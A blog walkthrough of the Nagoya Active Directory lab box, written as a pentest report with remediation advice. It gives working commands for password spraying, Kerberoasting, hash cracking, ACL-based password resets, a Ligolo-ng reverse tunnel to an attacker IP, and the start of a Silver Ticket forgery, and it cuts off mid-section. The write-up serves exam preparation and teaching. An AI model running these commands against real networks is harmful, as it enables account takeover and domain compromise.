]]></description><link>https://www.hack2harden.com/oscp-prep-26</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-26</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 07 Jul 2026 05:30:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7b8d4101-df7d-4533-92fd-a40e72765568.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Nagoya — Proving Grounds Practice Walkthrough</h1>
<p><strong>Author:</strong> Deonte Spencer <strong>Platform:</strong> OffSec Proving Grounds Practice <strong>Difficulty:</strong> Hard <strong>Category:</strong> Active Directory (Full Domain Compromise)</p>
<hr />
<h2>Table of Contents</h2>
<ol>
<li><p><a href="#1-introduction">Introduction</a></p>
</li>
<li><p><a href="#2-high-level-summary">High-Level Summary</a></p>
<ul>
<li>2.1 <a href="#21-recommendations">Recommendations</a></li>
</ul>
</li>
<li><p><a href="#3-methodology">Methodology</a></p>
<ul>
<li><p>3.1 <a href="#31-information-gathering">Information Gathering</a></p>
</li>
<li><p>3.2 <a href="#32-service-enumeration">Service Enumeration</a></p>
</li>
<li><p>3.3 <a href="#33-penetration">Penetration</a></p>
</li>
<li><p>3.4 <a href="#34-maintaining-access">Maintaining Access</a></p>
</li>
<li><p>3.5 <a href="#35-house-cleaning">House Cleaning</a></p>
</li>
</ul>
</li>
<li><p><a href="#4-core-methodology-wordlist-generation-from-target-content">Core Methodology: Wordlist Generation From Target Content</a></p>
</li>
<li><p><a href="#5-attack-path">Attack Path</a></p>
<ul>
<li><p>5.1 <a href="#51-initial-access--web-osint-to-valid-usernames">Initial Access — Web OSINT to Valid Usernames</a></p>
</li>
<li><p>5.2 <a href="#52-initial-access--password-spraying-to-a-foothold-credential">Initial Access — Password Spraying to a Foothold Credential</a></p>
</li>
<li><p>5.3 <a href="#53-post-exploitation--kerberoasting-the-service-accounts">Post-Exploitation — Kerberoasting the Service Accounts</a></p>
</li>
<li><p>5.4 <a href="#54-privilege-escalation--acl-abuse-chain-to-winrm-access">Privilege Escalation — ACL Abuse Chain to WinRM Access</a></p>
</li>
<li><p>5.5 <a href="#55-privilege-escalation--reaching-the-firewalled-mssql-service">Privilege Escalation — Reaching the Firewalled MSSQL Service</a></p>
</li>
<li><p>5.6 <a href="#56-privilege-escalation--silver-ticket-to-sql-sysadmin">Privilege Escalation — Silver Ticket to SQL Sysadmin</a></p>
</li>
<li><p>5.7 <a href="#57-privilege-escalation--seimpersonate-to-system">Privilege Escalation — SeImpersonate to SYSTEM</a></p>
</li>
<li><p>5.8 <a href="#58-post-exploitation--proof">Post-Exploitation — Proof</a></p>
</li>
</ul>
</li>
<li><p><a href="#6-what-didnt-work">What Didn't Work</a></p>
</li>
<li><p><a href="#7-conclusion">Conclusion</a></p>
</li>
</ol>
<hr />
<h2>1. Introduction</h2>
<p>Nagoya is a Hard-rated Active Directory box on OffSec's Proving Grounds Practice. On paper it's a single host, but that host is a Domain Controller running the full stack of AD services, and the intended path chains together a long series of techniques: web-based OSINT, targeted wordlist generation, password spraying, Kerberoasting, ACL abuse across a chain of users, internal port forwarding, a Silver Ticket forgery, and finally a token-impersonation privilege escalation to SYSTEM.</p>
<p>What makes this box worth writing up isn't any single exploit — it's the <em>methodology</em>. The initial foothold hinges entirely on a repeatable protocol I've come to rely on: scrape the target's public content for vocabulary, then transform that vocabulary into password candidates that match how humans actually build passwords. That protocol is the real lesson here, so I've given it its own section rather than burying it in a wall of commands.</p>
<p>This writeup follows the whole chain from an empty terminal to <code>proof.txt</code>, and I've tried to explain the reasoning at each decision point rather than just listing what worked.</p>
<hr />
<h2>2. High-Level Summary</h2>
<p>Starting from zero credentials, I enumerated the Domain Controller and confirmed anonymous access was locked down across SMB, RPC, and LDAP. The web server on port 80 leaked a roster of employee names, which I converted into a valid domain username list using <code>username-anarchy</code> and <code>kerbrute</code>.</p>
<p>I then generated a targeted password spray list from the website's own content using <code>CeWL</code> and <code>hashcat-utils combinator</code>, and recovered the credential pair <code>andrea.hayes:Nagoya2023</code>. From there:</p>
<ul>
<li><p><strong>Kerberoasted</strong> the domain's service accounts and cracked <code>svc_mssql</code>'s hash offline.</p>
</li>
<li><p>Used <strong>BloodHound</strong> to map an ACL abuse path (<code>andrea</code> → <code>svc_helpdesk</code> → <code>christopher.lewis</code>) that granted WinRM access.</p>
</li>
<li><p><strong>Forwarded</strong> the internally-firewalled MSSQL port off the box with <strong>Ligolo-ng</strong>.</p>
</li>
<li><p>Forged a <strong>Silver Ticket</strong> to authenticate to MSSQL as a SQL sysadmin, unlocking <code>xp_cmdshell</code>.</p>
</li>
<li><p>Landed a shell as <code>svc_mssql</code>, which held <strong>SeImpersonatePrivilege</strong>, and used <strong>SigmaPotato</strong> to escalate to <strong>NT AUTHORITY\SYSTEM</strong>.</p>
</li>
</ul>
<p>All flags were captured. Every step below is reproducible.</p>
<h3>2.1 Recommendations</h3>
<p>At a non-technical level, the compromise of this host came down to a small number of correctable weaknesses, and remediating any one of them would have broken the chain:</p>
<ul>
<li><p><strong>Enforce a strong password policy.</strong> The entire foothold rested on a single account using a predictable company-name-plus-year password. Prohibiting organization-specific terms and common <code>Word+Year</code> patterns, and enforcing length and complexity, closes the initial door.</p>
</li>
<li><p><strong>Harden service accounts.</strong> Two separate escalation steps (Kerberoasting and the Silver Ticket) were only possible because a service account used a weak, crackable password. Group Managed Service Accounts with long random secrets make both attacks infeasible.</p>
</li>
<li><p><strong>Audit Active Directory permissions.</strong> The privilege escalation ran entirely through excessive <code>GenericAll</code> rights that let ordinary accounts reset other users' passwords. Regular ACL review with tooling like BloodHound would surface and eliminate these paths.</p>
</li>
<li><p><strong>Apply least privilege to interactive access and SQL.</strong> Restricting Remote Management Users membership and removing unnecessary <code>SeImpersonatePrivilege</code> / <code>xp_cmdshell</code> capability would have blocked the final escalation to SYSTEM.</p>
</li>
</ul>
<hr />
<h2>3. Methodology</h2>
<h3>3.1 Information Gathering</h3>
<p>The scope of this engagement was a single target host, <code>192.168.148.21</code>, to be assessed from an external position with no starting credentials. The objective was to identify the services exposed by the host, determine its role, and work methodically toward a foothold and full compromise.</p>
<p>The engagement began with a full TCP service and version scan against the target — every conclusion that follows is derived from its output:</p>
<pre><code class="language-plaintext">sudo nmap -sCV -p- 192.168.148.21 -vv -T4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ced1faca-0322-4522-93b4-e2e54bfd4fe3.png" alt="" style="display:block;margin:0 auto" />

<p>The scan immediately established that the target is a <strong>Domain Controller</strong> for the <code>nagoya-industries.com</code> domain — the simultaneous presence of DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and AD Web Services (9389) is the defining fingerprint. The <code>rdp-ntlm-info</code> NSE script confirmed the naming context:</p>
<ul>
<li><p><strong>Domain:</strong> <code>nagoya-industries.com</code></p>
</li>
<li><p><strong>NetBIOS name:</strong> <code>NAGOYA</code></p>
</li>
<li><p><strong>FQDN:</strong> <code>nagoya.nagoya-industries.com</code></p>
</li>
<li><p><strong>OS:</strong> Windows Server 2019 (Build 17763), configured as the Primary Domain Controller</p>
</li>
</ul>
<p>SMB signing was enabled and required, which rules out relay attacks later on. The full port breakdown is tabulated in 3.2 below.</p>
<p>Because those conclusions came from the scan, the first action taken on them was to add the discovered FQDN to <code>/etc/hosts</code> — Kerberos-aware tooling resolves by hostname and fails on bare IPs:</p>
<pre><code class="language-plaintext">192.168.148.21    nagoya.nagoya-industries.com nagoya-industries.com nagoya
</code></pre>
<blockquote>
<p><strong>Note on the target IP:</strong> Partway through this engagement the box was redeployed and Proving Grounds reassigned it from <code>192.168.148.21</code> to <code>192.168.108.21</code>. The enumeration screenshots show the original address and the exploitation screenshots show the new one — this is expected, not an inconsistency. Each command below reflects the IP that was live at the time it was run.</p>
</blockquote>
<h3>3.2 Service Enumeration</h3>
<p><strong>Port Scan Results</strong></p>
<p>The full <code>-p-</code> scan from 3.1 returned 23 open TCP ports. The table below lists the notable services that define the target's role; the remainder were high-numbered ephemeral Microsoft RPC ports (<code>49xxx</code>) typical of a Windows DC and not individually significant.</p>
<table>
<thead>
<tr>
<th>IP Address</th>
<th>Notable Ports Open</th>
</tr>
</thead>
<tbody><tr>
<td>192.168.148.21</td>
<td><strong>TCP:</strong> 53 (DNS), 80 (HTTP/IIS 10), 88 (Kerberos), 135 (MSRPC), 139 (NetBIOS), 389 / 636 / 3268 / 3269 (LDAP / LDAPS / Global Catalog), 445 (SMB), 464 (kpasswd), 593 (RPC-over-HTTP), 3389 (RDP), 5985 (WinRM), 9389 (AD Web Services)</td>
</tr>
</tbody></table>
<p>With the DC identified and its services enumerated, I worked through the low-hanging fruit first: anonymous and guest access to the domain's core services. This is always the cheapest thing to check, and if it lands it can hand you the entire user list for free.</p>
<p><strong>SMB — null and guest sessions:</strong></p>
<pre><code class="language-plaintext">nxc smb 192.168.148.21 -u '' -p '' --shares
nxc smb 192.168.148.21 -u 'guest' -p '' --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a994d3f3-c10a-49e7-b013-aade9b3113cd.png" alt="" style="display:block;margin:0 auto" />

<p>The null session authenticated but returned <code>STATUS_ACCESS_DENIED</code> on share enumeration, and the guest account came back <code>STATUS_ACCOUNT_DISABLED</code>. No free access there.</p>
<p><strong>RPC — anonymous user enumeration:</strong></p>
<pre><code class="language-plaintext">rpcclient -U "" -N 192.168.148.21
rpcclient $&gt; enumdomusers
result was NT_STATUS_ACCESS_DENIED
</code></pre>
<p><strong>LDAP — anonymous bind:</strong></p>
<pre><code class="language-plaintext">nxc ldap 192.168.148.21 -u '' -p '' --users
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b97b9b55-57dd-4d95-a88e-6b543a692609.png" alt="" style="display:block;margin:0 auto" />

<p>LDAP rejected the anonymous search, requiring a successful bind first. Every unauthenticated avenue into the directory was closed. With anonymous enumeration exhausted, I shifted focus to the one service that was still openly accessible: the web server.</p>
<h3>3.3 Penetration</h3>
<p>The full penetration path — from web OSINT through to SYSTEM — is documented target-by-target in the section below. The condensed sequence was: harvest usernames from the website, validate them over Kerberos, spray a self-generated wordlist to obtain a foothold credential, Kerberoast and abuse ACLs to reach an interactive shell, then pivot through a firewalled SQL service via a forged ticket and escalate through token impersonation.</p>
<h3>3.4 Maintaining Access</h3>
<p>This assessment was conducted against a lab target, so persistence mechanisms were intentionally not deployed. In a real engagement, the compromise of the <code>svc_mssql</code> account secret alone would be sufficient to forge Silver Tickets for the MSSQL service indefinitely, and full SYSTEM/Domain Controller access would permit extraction of the <code>krbtgt</code> hash for Golden Ticket persistence. None of that was necessary here.</p>
<h3>3.5 House Cleaning</h3>
<p>All tooling uploaded to the target during the engagement (<code>RunasCs.exe</code>, <code>agent.exe</code>, <code>nc.exe</code>, <code>SigmaPotato.exe</code>) was staged in <code>C:\ProgramData</code> and would be removed as part of post-engagement cleanup. All password changes made during ACL abuse were made against lab accounts and would be reported for reset in a real assessment.</p>
<hr />
<h2>4. Core Methodology: Wordlist Generation From Target Content</h2>
<p>Before walking through the attack chain, this section deserves its own spotlight, because it's the technique the entire foothold depends on and it's the most transferable skill the box teaches.</p>
<p>The problem: on a hardened AD box with no anonymous access, your only way in is often a weak password on a valid account. But spraying <code>rockyou.txt</code> against a domain is slow, noisy, and — against a lockout policy — dangerous. What you want instead is a <em>small, precise</em> list of candidates that reflect how a real person at this specific organization would build a password.</p>
<p>Corporate and lab passwords overwhelmingly follow a predictable grammar: <strong>a meaningful word + a year, with the first letter capitalized</strong>, sometimes with a trailing symbol. <code>Summer2023</code>, <code>Nagoya2023</code>, <code>Fishing2024</code>. The word comes from the organization's world; the year comes from a date on their site. No tool does this end-to-end, so the protocol is a two-stage pipeline: one tool supplies the <em>vocabulary</em>, another applies the <em>grammar</em>.</p>
<p><strong>Stage 1 — Scrape the vocabulary with CeWL.</strong></p>
<p>CeWL spiders a website and extracts every unique word on the page into a wordlist. It's the fastest way to build an organization-specific dictionary — company name, product terms, employee names, industry jargon.</p>
<pre><code class="language-plaintext">cewl -w newpass.txt -d 2 -m 4 http://nagoya-industries.com/ --with-numbers
</code></pre>
<p>The flags: <code>-d 2</code> sets crawl depth (how many links deep to follow — depth 2 fully covers a small site like this without wasting time re-crawling), <code>-m 4</code> sets the minimum word length to filter out noise, and <code>--with-numbers</code> tells CeWL to also capture numeric tokens like the <code>2023</code> in the site's copyright footer.</p>
<p>A critical thing to understand about CeWL's output: it captures <code>2023</code> as its <em>own standalone entry</em>. CeWL has no concept of gluing that year onto other words — it only extracts what's literally present as discrete tokens. That concatenation is a separate step, which is exactly the point of Stage 2.</p>
<p>From the raw CeWL output I manually pruned entries that were obviously useless as password bases (stopwords like "that", "have", "where") and kept the meaningful ones: the company name, employee surnames, and industry terms. I also merged in a small curated seed list of common base words, capitalized, to widen the net slightly.</p>
<p><strong>Stage 2 — Apply the grammar with combinator.</strong></p>
<p><code>combinator.bin</code> from hashcat-utils takes two wordlists and produces every possible concatenation of a word from the first with a word from the second. By combining my pruned base-word list against a short list of candidate years, I generated the actual spray candidates in the <code>Word+Year</code> pattern:</p>
<pre><code class="language-plaintext">/usr/share/hashcat-utils/combinator.bin neopass.txt newpass.txt &gt; zionpass.txt
</code></pre>
<p>I verified the pipeline had actually produced viable candidates before spraying:</p>
<pre><code class="language-plaintext">grep Summer2023 zionpass.txt
Summer2023
</code></pre>
<p>That confirmation is the whole methodology paying off — my generated list <em>provably contained</em> the kind of candidate that unlocks the box, built entirely from the site's own content plus a date I read off the footer.</p>
<p><strong>Why not just use rule-based mutation (best64, etc.)?</strong> I initially tried <code>john --rules=best64</code> against the base words. It's the wrong tool for this pattern. Generic rule sets like best64 mutate via case-toggling, leetspeak substitution, and single-character appends — they're tuned for cracking arbitrary hashes at volume, not for cleanly reconstructing a <code>word + four-digit-year</code> concatenation. The stock rules don't reliably chain four sequential digit-appends to bolt "2023" onto a word. Combinator does exactly that, deterministically. <strong>CeWL builds your dictionary, but you have to supply the grammar — and combinator is the right tool for that grammar.</strong></p>
<p>This is the repeatable protocol I now reach for any time a target exposes public web content and I need a foothold credential:</p>
<ol>
<li><p><strong>Scrape</strong> for vocabulary with CeWL (<code>--with-numbers</code>, plus <code>-a</code> and <code>--meta_file</code> when there's metadata worth pulling).</p>
</li>
<li><p><strong>Identify the convention</strong>, not just the words — look at <em>how</em> the site presents dates (copyright footer, "in business since…" claims) and map that to a human password habit.</p>
</li>
<li><p><strong>Generate combinatorially</strong> with <code>combinator.bin</code> rather than leaning on generic rule sets.</p>
</li>
<li><p><strong>Always pull the lockout policy first</strong> so the spray doesn't lock accounts.</p>
</li>
</ol>
<hr />
<h2>5. Attack Path</h2>
<h3>5.1 Initial Access — Web OSINT to Valid Usernames</h3>
<p><strong>Vulnerability Explanation:</strong> The public-facing web server discloses a complete roster of employee full names on its team page.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1b310e44-4131-4ae9-9cae-c64b64370e2a.png" alt="" style="display:block;margin:0 auto" />

<p>In an Active Directory environment where usernames follow a predictable <code>first.last</code> convention, a public employee list is effectively a disclosure of valid domain usernames — the raw material for both password spraying and Kerberos-based attacks.</p>
<p><strong>Vulnerability Fix:</strong> Avoid publishing complete staff directories on public-facing sites where not operationally necessary. More importantly, enforce a strong password policy and account lockout thresholds so that a known username list cannot be leveraged into access via spraying.</p>
<p><strong>Severity:</strong> Medium (as an information disclosure; it becomes Critical in combination with the weak password below)</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>Browsing to the site on port 80 reveals "Nagoya Industries," a fishing company. Two details on the landing page matter immediately: the <code>© 2023</code> in the footer (a year for later use), and the navigation.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/31148301-404d-4c5a-bb33-c38590f0af07.png" alt="" style="display:block;margin:0 auto" />

<p>A content discovery scan confirmed there were no hidden endpoints beyond what was linked in the navigation:</p>
<pre><code class="language-plaintext">ffuf -u http://192.168.148.21/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
</code></pre>
<p>The only meaningful result was the <code>team</code> page, which was already linked and which exposed the full list of employee names.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f588564b-baa9-4ff5-9e76-d5df2cd86b94.png" alt="" style="display:block;margin:0 auto" />

<p>I saved those names to a file and generated username permutations with <code>username-anarchy</code>:</p>
<pre><code class="language-plaintext">username-anarchy -i users.txt &gt; user.txt
</code></pre>
<p>This produces a large set of candidate formats (<code>fiona.clark</code>, <code>fclark</code>, <code>clarkf</code>, etc.). To find which format the domain actually uses — and which accounts genuinely exist — I validated the whole list against Kerberos pre-authentication with <code>kerbrute</code>, which is non-intrusive and doesn't generate failed-logon events for valid users:</p>
<pre><code class="language-plaintext">kerbrute userenum userr.txt -d nagoya-industries.com --dc 192.168.148.21
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d71b37f3-7db5-4e30-9253-54f0f4ec0758.png" alt="" style="display:block;margin:0 auto" />

<p>This returned <strong>28 valid usernames</strong>, confirming the domain uses the <code>first.last</code> format. Critically, this included <code>andrea.hayes</code>, <code>christopher.lewis</code>, and the accounts that would matter later in the chain.</p>
<h3>5.2 Initial Access — Password Spraying to a Foothold Credential</h3>
<p><strong>Vulnerability Explanation:</strong> At least one domain account (<code>andrea.hayes</code>) was protected by a weak, formulaic password (<code>Nagoya2023</code>) built from the company name and a year visible on the corporate website. This password is trivially guessable using content scraped from the organization's own public site.</p>
<p><strong>Vulnerability Fix:</strong> Enforce a password policy that prohibits passwords containing the company name and rejects predictable <code>Word+Year</code> patterns. Implement and monitor account lockout thresholds. Consider deploying a banned-password list seeded with organization-specific terms.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>Using the wordlist generated with the CeWL → combinator pipeline described in the section above, I sprayed the validated username list over SMB using NetExec:</p>
<pre><code class="language-plaintext">nxc smb 192.168.148.21 -u users.txt -p zionpass.txt --continue-on-success
</code></pre>
<p>The spray returned a hit:</p>
<pre><code class="language-plaintext">SMB   192.168.148.21   445   NAGOYA   [+] nagoya-industries.com\andrea.hayes:Nagoya2023
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3162d63a-0d6b-4343-8c78-fd4a6ae48261.png" alt="" style="display:block;margin:0 auto" />

<p>With a valid domain credential in hand, share enumeration now succeeded, showing the standard DC shares (<code>SYSVOL</code>, <code>NETLOGON</code>, <code>IPC$</code> as READ). A second credential, <code>fiona.clark:Summer2023</code>, was also recovered — a useful illustration of a key AD concept: fiona's credentials worked for SMB and RDP but were rejected for WinRM, because valid domain credentials do not automatically grant interactive access. That distinction becomes the pivot point later in the chain.</p>
<h3>5.3 Post-Exploitation — Kerberoasting the Service Accounts</h3>
<p><strong>Vulnerability Explanation:</strong> The domain contains service accounts (<code>svc_helpdesk</code>, <code>svc_mssql</code>) with Service Principal Names registered. Any authenticated domain user can request a Kerberos service ticket for these accounts, which is encrypted with the service account's password hash and can be cracked offline. <code>svc_mssql</code> used a weak password that fell to a dictionary attack in seconds.</p>
<p><strong>Vulnerability Fix:</strong> Use Group Managed Service Accounts (gMSA) or enforce very long (25+ character) random passwords for all SPN-bearing service accounts, making offline cracking infeasible.</p>
<p><strong>Severity:</strong> High</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>With any valid credential, the correct first move against a domain is to Kerberoast — it's cheap, it's low-noise, and it only requires an authenticated user regardless of privilege level. I requested TGS tickets for all SPN-bearing accounts using andrea's credentials:</p>
<pre><code class="language-plaintext">impacket-GetUserSPNs nagoya-industries.com/andrea.hayes -request
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/192069b1-587f-4b39-869e-c1138064a0d5.png" alt="" style="display:block;margin:0 auto" />

<p>This returned crackable hashes for two service accounts, <code>svc_helpdesk</code> and <code>svc_mssql</code>. I saved them and ran them against <code>rockyou.txt</code> with John:</p>
<pre><code class="language-plaintext">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/26d19278-dd95-4bdc-9108-81590f4717a1.png" alt="" style="display:block;margin:0 auto" />

<p>The <code>svc_mssql</code> hash cracked almost instantly to <code>Service1</code>. The <code>svc_helpdesk</code> hash did not crack against rockyou, but as it turns out I wouldn't need it to — I'd obtain control of that account a different way.</p>
<p><strong>A precise note on why this matters, since it's easy to state imprecisely:</strong> Kerberoasting gets you a <em>crackable credential</em> for the service account — nothing more at this stage. It does <strong>not</strong> by itself grant any special token or privilege. The reason <code>svc_mssql</code> becomes the key to the whole box is separate: because the MSSQL service runs <em>as</em> <code>svc_mssql</code> on the host, that account is granted <code>SeImpersonatePrivilege</code> at the OS level. But that privilege only becomes <em>usable</em> once I'm executing code inside the service's process context on the machine — which requires the Silver Ticket and <code>xp_cmdshell</code> steps further down. The cracked hash is the credential that eventually gets me there; it is not the privilege itself. Conflating "I Kerberoasted a service account" with "I have SeImpersonate" is a common shortcut, and keeping the two distinct is what makes the rest of the path make sense.</p>
<h3>5.4 Privilege Escalation — ACL Abuse Chain to WinRM Access</h3>
<p><strong>Vulnerability Explanation:</strong> The <code>andrea.hayes</code> account holds <code>GenericAll</code> rights over the <code>svc_helpdesk</code> account, which in turn holds <code>GenericAll</code> over a set of other users — including <code>christopher.lewis</code>, a member of the <strong>Remote Management Users</strong> group. <code>GenericAll</code> permits an attacker to reset the target's password outright, allowing a chain of account takeovers that terminates at an account with interactive (WinRM) access.</p>
<p><strong>Vulnerability Fix:</strong> Audit and remediate excessive Active Directory ACLs. No standard user should hold <code>GenericAll</code> over other user objects. Apply least-privilege delegation and regularly review object permissions with tooling like BloodHound.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>To understand what andrea's access was actually good for, I collected the domain's object and ACL data with RustHound-CE (a fast, modern BloodHound collector) using her credentials:</p>
<pre><code class="language-plaintext">rusthound-ce -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com -c All -z -n 192.168.148.21
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/38d899d2-9478-48fd-a710-54e7c82196fb.png" alt="" style="display:block;margin:0 auto" />

<p>I ingested the resulting ZIP into BloodHound and ran the "Shortest Paths from Owned Principals" analysis. The graph revealed the outbound control path clearly: andrea (via the <code>employees</code> group) has <code>GenericAll</code> over <code>svc_helpdesk</code> and several other users.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c7f579e8-f453-44b0-aa91-8f49aa764775.png" alt="" style="display:block;margin:0 auto" />

<p>Following the chain further, <code>svc_helpdesk</code> in turn had control leading to <code>christopher.lewis</code> — and christopher's membership in <strong>Remote Management Users</strong> is what makes him the target:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/688ba31c-8226-40f6-9ff4-6f7ebfc421df.png" alt="" style="display:block;margin:0 auto" />

<p>that group grants WinRM access, the interactive foothold none of the other accounts provided.</p>
<p>I abused the chain with <code>bloodyAD</code>, resetting each target's password in sequence. The first attempt against <code>svc_helpdesk</code> was rejected for failing the domain's password complexity requirement — a small but instructive detail — and succeeded once I supplied a compliant password:</p>
<pre><code class="language-plaintext">bloodyAD -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com --host 192.168.108.21 set password svc_helpdesk 'Password123!'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/784e1c37-f4ab-4326-bfb6-4a3bc53c9f18.png" alt="" style="display:block;margin:0 auto" />

<p>Then I used my newly-controlled <code>svc_helpdesk</code> to reset christopher's password in turn:</p>
<pre><code class="language-plaintext">bloodyAD -u svc_helpdesk -p 'Password123!' -d nagoya-industries.com --host 192.168.108.21 set password christopher.lewis 'Password123!'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aaa9ea92-5e62-4cea-ab1e-a1234b4d177b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6416a76b-ff64-4165-bfe5-e466edd2f09a.png" alt="" style="display:block;margin:0 auto" />

<p>A NetExec check confirmed christopher now had WinRM access with a <code>(Pwn3d!)</code> result, and I connected with Evil-WinRM:</p>
<pre><code class="language-plaintext">evil-winrm -i 192.168.108.21 -u christopher.lewis -p 'Password123!'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d0b87d67-8da1-45d9-aa6d-36d147bfacdb.png" alt="" style="display:block;margin:0 auto" />

<p>This shell yielded the user flag from <code>C:\local.txt</code>:</p>
<pre><code class="language-plaintext">local.txt: 9a376490a4d65f9b293276aec725c5eb
</code></pre>
<p>However, <code>whoami /all</code> on christopher confirmed he held no useful privileges for escalation — only the defaults (<code>SeMachineAccountPrivilege</code>, <code>SeChangeNotifyPrivilege</code>, <code>SeIncreaseWorkingSetPrivilege</code>). Christopher was never meant to be the escalation vehicle; he was the <em>interactive access</em> vehicle. The escalation had to come from elsewhere.</p>
<h3>5.5 Privilege Escalation — Reaching the Firewalled MSSQL Service</h3>
<p><strong>Vulnerability Explanation:</strong> The host runs a Microsoft SQL Server instance on port 1433 that is bound to all interfaces but blocked at the network perimeter by a host firewall — it does not appear in an external port scan, yet is fully accessible locally on the box. Combined with an interactive foothold, this internally-reachable service becomes a viable escalation vector via <code>xp_cmdshell</code>.</p>
<p><strong>Vulnerability Fix:</strong> Ensure host-based firewall rules are consistent with intent; if MSSQL is meant to be local-only, bind it to loopback rather than relying solely on perimeter filtering. Restrict <code>xp_cmdshell</code> and apply least privilege to SQL logins.</p>
<p><strong>Severity:</strong> High</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>From christopher's shell, I enumerated locally listening ports:</p>
<pre><code class="language-plaintext">netstat -ano | findstr LISTEN
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/360bdc47-1c44-424d-8bd9-987b8502da55.png" alt="" style="display:block;margin:0 auto" />

<p>Port <code>1433</code> was listening — even though it had never appeared in the external nmap scan. The only conclusion is a host firewall blocking it at the perimeter, meaning MSSQL is reachable <em>only</em> from on the box itself. This is significant: MSSQL's <code>xp_cmdshell</code> procedure allows OS command execution as the account running the SQL service. If I could reach that service and enable <code>xp_cmdshell</code>, I'd get command execution as <code>svc_mssql</code> — the account I already knew (from the Kerberoast) and, more importantly, the account that would hold <code>SeImpersonatePrivilege</code>.</p>
<p>To reach the firewalled port from my attack box, I set up a tunnel with <strong>Ligolo-ng</strong>. I uploaded the agent to the target, started the proxy and listener on my side, and added a route for the tunnel's virtual interface:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3b2da975-b52c-4c1d-9f8a-fd21501cfbd5.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext"># On Kali
sudo ligolo-proxy -selfcert
sudo ip route add 240.0.0.1/32 dev ligolo

# On target (via christopher's shell)
Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.245:11601 -ignore-cert"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9c71fcbf-f58e-4927-9bbd-3c13fbbe47a8.png" alt="" style="display:block;margin:0 auto" />

<p>With the tunnel up and the session started, MSSQL on the target's port 1433 was now reachable through the virtual <code>240.0.0.1</code> address as if it were local.</p>
<h3>5.6 Privilege Escalation — Silver Ticket to SQL Sysadmin</h3>
<p><strong>Vulnerability Explanation:</strong> Because the <code>svc_mssql</code> account's password (and therefore its NT hash) is known, an attacker can forge a Kerberos Silver Ticket for the MSSQL service. This ticket can assert arbitrary group membership and impersonate a privileged user (Administrator) <em>to that specific service</em>, without ever contacting the KDC — granting SQL sysadmin rights that the <code>svc_mssql</code> login itself did not possess.</p>
<p><strong>Vulnerability Fix:</strong> Rotate service account credentials regularly and use gMSA. Enforce SMB/LDAP signing and, where possible, restrict Kerberos encryption types. Monitor for TGS requests without corresponding TGT requests, which can indicate ticket forgery.</p>
<p><strong>Severity:</strong> Critical</p>
<p><strong>Steps to reproduce the attack:</strong></p>
<p>Authenticating to MSSQL directly with the cracked <code>svc_mssql:Service1</code> credentials worked, but the login had no administrative rights inside SQL — attempting to enable <code>xp_cmdshell</code> failed:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8be1f527-0bf2-4b5b-ac5e-ecde8aba0788.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">SQL (NAGOYA-IND\svc_mssql  guest@master)&gt; enable_xp_cmdshell
ERROR: User does not have permission to perform this action.
</code></pre>
<p>The account could log in but was not a SQL sysadmin. This is precisely the scenario a Silver Ticket solves: I could forge a ticket for the MSSQL service that <em>claims</em> to be the Administrator with Domain Admins group membership. The SQL service trusts the ticket implicitly because it's encrypted with the service account's own key, which I possessed.</p>
<p>First I computed the NT hash of the known password:</p>
<pre><code class="language-plaintext">python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
e3a0168bc21cfb88b95c954a5b18f57c
</code></pre>
<p>Then I forged the ticket with <code>impacket-ticketer</code>, supplying the domain SID (pulled from the BloodHound data I'd already collected), the MSSQL SPN, and impersonating the Administrator (user-id 500) with the Domain Users and Domain Admins group RIDs (513, 512):</p>
